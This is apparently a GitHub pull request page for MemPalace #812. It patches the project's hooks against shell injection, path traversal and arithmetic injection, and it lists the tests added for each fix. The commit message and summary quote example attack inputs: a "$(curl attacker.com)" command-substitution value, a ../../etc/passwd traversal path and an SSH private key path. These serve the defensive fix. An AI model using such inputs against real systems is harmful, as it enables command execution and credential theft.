fix: harden hooks against shell injection, path traversal, and arithmetic injection#812
Merged
igorls merged 2 commits intoMemPalace:developfrom Apr 14, 2026
Merged
Conversation
Kesshite
requested review from
bensig,
igorls and
milla-jovovich
as code owners
Collaborator
|
Thanks for the audit and the surgical patches @Kesshite please check the CI tests, probably a rebase will do. |
igorls
added
area/hooks
…etic injection save_hook.sh: - Coerce stop_hook_active to strict True/False before eval to prevent command injection via crafted JSON (e.g. "$(curl attacker.com)") - Validate LAST_SAVE as plain integer with regex before bash arithmetic to prevent command substitution via poisoned state files hooks_cli.py: - Add _validate_transcript_path() that rejects paths with '..' components and non-.jsonl/.json extensions - _count_human_messages() now uses the validator, returning 0 for invalid paths instead of opening arbitrary files Tests: - Path traversal rejection (../../etc/passwd) - Wrong extension rejection (.txt, .py) - Valid path acceptance (.jsonl, .json) - Empty string handling - Shell injection in stop_hook_active field Refs: MemPalace#809
…h test - _count_human_messages() now logs a WARNING via _log() when a non-empty transcript_path is rejected by the validator, making silent auto-save failures diagnosable via hook.log - Add test for platform-native paths (backslashes on Windows) to verify _validate_transcript_path works cross-platform - Add test verifying the warning log is emitted on rejection Refs: MemPalace#809
Kesshite
force-pushed
the
fix/security-hook-injection
branch
from
fcd25c7 to
f7d703f
Compare
Contributor
Author
|
Rebased on latest develop. Version consistency tests pass now (871 passed, 0 failed). Thanks for flagging it @igorls. |
rosschurchill
added a commit
to rosschurchill/mempalace
that referenced
this pull request
Apr 18, 2026
… output Closes two remaining Phase 0 security gaps (issue MemPalace#782, MemPalace#783): 1. ChromaDB telemetry (backends/chroma.py): - Add `Settings(anonymized_telemetry=False)` to both PersistentClient call sites (_client() and make_client()), ensuring no PostHog traffic regardless of which code path creates the client. - Set ANONYMIZED_TELEMETRY=False env var at import time as belt-and- suspenders (covers C-level telemetry before Python sees it). - Violates local-first guarantee without this fix — every query was being reported to posthog.com. 2. ensure_ascii=False in MCP output (mcp_server.py): - Tool result serialization (line 1653) and the main response writer (line 1700) both now pass ensure_ascii=False. - Without this, non-ASCII content (Chinese, Russian, accented chars) gets mangled into \uXXXX escapes before the LLM sees it. Previously fixed by PR MemPalace#812 (shell injection, path traversal) and PR MemPalace#811 (entity registry SSRF) — those are confirmed in place. Co-Authored-By: Claude Sonnet 4.6 <noreply@anthropic.com>
StefanKremen
added a commit
to StefanKremen/mempalace
that referenced
this pull request
Apr 22, 2026
Upstream bump from 73f038c → 87102fb: - v3.3.1 (Apr 18): i18n support (Hindi, Russian, Italian, Indonesian, pt-BR), hook shell-injection hardening (MemPalace#812), KG lock fixes, searcher/miner None metadata guards, benchmark reproduction. - v3.3.2 (Apr 21): CLI --version, new landing page, RFC 001/002 (typed backends + source adapter scaffolding), silent-transcript-drop fix, MAX_FILE_SIZE 10MB→500MB, chromadb>=1.5.4,<2 for py3.13/3.14, HNSW quarantine recovery, PID-file guard against stacking mine processes. Patched files drift on upstream side (plugin.json, .mcp.json, both hook scripts) — re-apply 8 patches after next 'claude plugin update mempalace'. Co-Authored-By: Claude Opus 4.7 (1M context) <noreply@anthropic.com>
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
Sign up for free
to join this conversation on GitHub.
Already have an account?
Sign in to comment
2 participants
Add this suggestion to a batch that can be applied as a single commit.This suggestion is invalid because no changes were made to the code.Suggestions cannot be applied while the pull request is closed.Suggestions cannot be applied while viewing a subset of changes.Only one suggestion per line can be applied in a batch.Add this suggestion to a batch that can be applied as a single commit.Applying suggestions on deleted lines is not supported.You must change the existing code in this line in order to create a valid suggestion.Outdated suggestions cannot be applied.This suggestion has been applied or marked resolved.Suggestions cannot be applied from pending reviews.Suggestions cannot be applied on multi-line comments.Suggestions cannot be applied while the pull request is queued to merge.Suggestion cannot be applied right now. Please check back later.
Summary
stop_hook_activefield was passed toevalwithout sanitization — a crafted JSON value like"$(curl attacker.com)"would execute arbitrary commands. Now coerced to strictTrue/Falsebefore interpolation.LAST_SAVEread from state file into bash$((...))arithmetic without integer validation — a poisoned file could inject commands. Now validated with^[0-9]+$regex.transcript_pathfrom stdin JSON was passed directly toopen()via_count_human_messages()— could read any file on the system (~/.ssh/id_rsa,/etc/passwd). Now validated by_validate_transcript_path()which rejects..traversal and non-.jsonl/.jsonextensions.Refs: #809 (Findings 2, 3, 4)
What changed
hooks/mempal_save_hook.shstop_hook_activecoerced to strict boolean beforeeval(line 76)LAST_SAVEvalidated as integer with[[ =~ ^[0-9]+$ ]]before$((...))(line 125)mempalace/hooks_cli.py_validate_transcript_path()function: rejects..traversal and wrong extensions_count_human_messages()uses the validator, returns 0 for invalid pathstests/test_hooks_cli.pytest_validate_transcript_rejects_path_traversaltest_validate_transcript_rejects_wrong_extensiontest_validate_transcript_accepts_valid_pathstest_validate_transcript_empty_stringtest_count_rejects_traversal_pathtest_stop_hook_rejects_injected_stop_hook_activeTest plan
pytest tests/test_hooks_cli.py -v— 38/38 passedpytest tests/ -v --ignore=tests/benchmarks— 692 passed, 2 failed (pre-existing version mismatch)ruff check— all checks passedruff format --check— all files formatted